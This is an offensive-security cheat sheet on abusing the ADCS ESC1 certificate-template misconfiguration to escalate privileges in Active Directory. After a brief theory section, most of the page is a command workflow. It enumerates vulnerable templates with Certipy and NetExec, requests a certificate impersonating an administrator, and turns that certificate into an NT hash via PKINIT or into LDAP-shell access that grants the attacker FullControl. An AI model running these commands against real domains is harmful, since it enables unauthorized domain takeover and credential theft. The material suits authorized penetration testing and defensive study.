PRIMARY CATEGORY → ADCS

Theory

This type of ADCS misconfiguration can lead to privilege escalatation, and thus, compromise of the entire domain in an AD environment

It arises when an existing certificate template in the CA is not propertly secured, allowing a low-privileged user to request a certificate and specify an arbitraty identity within the Certificate’s Subject Alternative Name ( SAN )

Therefore, it allows the attacker to impersonate any user account in the domain, including privileged accounts such as administrators

A template vulnerable to ESC1 typically has the following features →

  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled

This option allows the person requesting the certificate to define the SAN as desired. So the client can specify another entity in the Certificate Signing Request ( CSR ) and dictates the certificate entity

  • Authentication EKU

Such as Client Authentication, Smart Card Logon or Any Purpose

  • Permissive Enrollment Rights

Generic domain groups such as Domain Users, Domain Computers or Authenticated Users can enroll in the given template

  • Automated Request Processing

It does not requires any administrator to accept incoming certificate requests related to the template in question


Enumeration

Certipy

Certipy

certipy find -dc-ip '<DC_IP>' -username '<USER>' -password '<PASSWD>' -stdout -vulnerable

Abuse - UNIX-Like

Workflow

First, we must check if ADCS is present in the given AD environment, which can be gathered through LDAP

Then, we have to enumerate all the existing certificate templates in the CA looking for any security flaw or misconfiguration

Once we have identified one or several misconfigurations related to ESC1, which were discussed previously, and requirements below are met, we can takeover the entire domain

It’s as simple as submitting a CSR to the CA that has an arbitrary entity as its SAN, such as the domain administrator account or SID and applying to the misconfigured template

With the issued certificate, we can carry out several actions →

Requirements
  • Valid Domain Credentials

  • The compromised principal has enrollment rights over the vulnerable template

  • Vulnerable Template → CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled

  • Vulnerable Template → Valid Authentication EKU

e.g. Client Authentication or Smart Card Logon

Abuse
Identifying ADCS in the domain
nxc ldap '<DC>' --username '<USER>' --password '<PASSWD' --module adcs
Looking for security flaws and misconfigurations in ADCS

Setup

mkdir Certipy
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install certipy-ad

Usage

certipy find -dc-ip '<DC_IP>' -username '<USER>' -password '<PASSWD>' -stdout -vulnerable
Requesting a certificate for the template vulnerable to ESC1
  • Certipy
certipy req -dc-ip '<DC_IP>' -u '<USER>@<DOMAIN>' -p '<PASSWD>' -target '<TARGET_FQDN>' -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE>' -upn '<IMPERSONATED_PRINCIPAL>@<DOMAIN>' -sid '<IMPERSONATED_USER_SID>'
#1 - PKINIT PtC + Unpac the Hash
  • Certipy
certipy auth -dc-ip '<DC_IP>' -pfx '<PFX>'

Setup

git clone 'https://github.com/dirkjanm/PKINITtools' PKINITtools
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

PtC

python3 gettgtpkinit.py -dc-ip '<DC_IP>' -cert-pfx '<PFX>' '<DOMAIN>/<PRINCIPAL>' '<CCACHE_FILE>'

UtH

export KRB5CCNAME=$( realpath <CACHE_FILE> )
python3 getnthash.py -dc-ip '<DC_IP>' -key '<AS_REP_ENC_KEY>' '<DOMAIN>/<USER>'
#2 - Schannel PtC

See PtC with Schannel

If the DC in question does not support PKINIT due to the absence of the Smart Card Logon Extended Key Usage ( EKU ) in its certificate, an operator could use the issued certificate to authenticate against LDAPs or LDAP with STARTTLS

Then, we could carry out specific actions depending on the privileges the principal in question has over the domain

For instance, if we leverage an ESC1 vector to obtain an arbitraty certificate whose SAN corresponds to the identity of a privileged domain user, such as the administrator account, we could grant ourselves FullControl over the latter

  • Certipy
certipy auth -dc-ip '<DC_IP>' -pfx '<PFX>' -ldap-shell

Certipy’s LDAP Shell

> grant_control 'DC=<DOMAIN>,DC=<TLD>' '<TARGET_PRINCIPAL>' '<GRANTEE>' # i.e. A controlled domain account

Setup

Downloading the script

curl --silent --location --request GET --remote-name 'https://github.com/AlmondOffSec/PassTheCert/raw/refs/heads/main/Python/passthecert.py'

Extracting both certificate and private key from the PFX

certipy cert -pfx '<PFX>' -nokey -out '<OUTPUT_CERTIFICATE>'
certipy cert -pfx '<PFX>' -nocert -out '<OUTPUT_PRIVATE_KEY>'
# Or
openssl pkcs12 -in '<PFX>' -clcerts -nokeys -out '<OUTPUT_CERTIFICATE>'
openssl pkcs12 -in '<PFX>' -nocerts -out '<OUTPUT_PRIVATE_KEY>'

Usage

python3 passthecert.py -action 'ldap-shell' -domain '<DOMAIN>' -dc-host '<DC_FQDN>' -crt '<CERTIFICATE>' -key '<PRIVATE_KEY>'

Abuse - Windows

🛠️⌛


Resources

Certipy Wiki: ESC1

BlackHills Infosec: Abusing ADCS - Part I

SpecterOps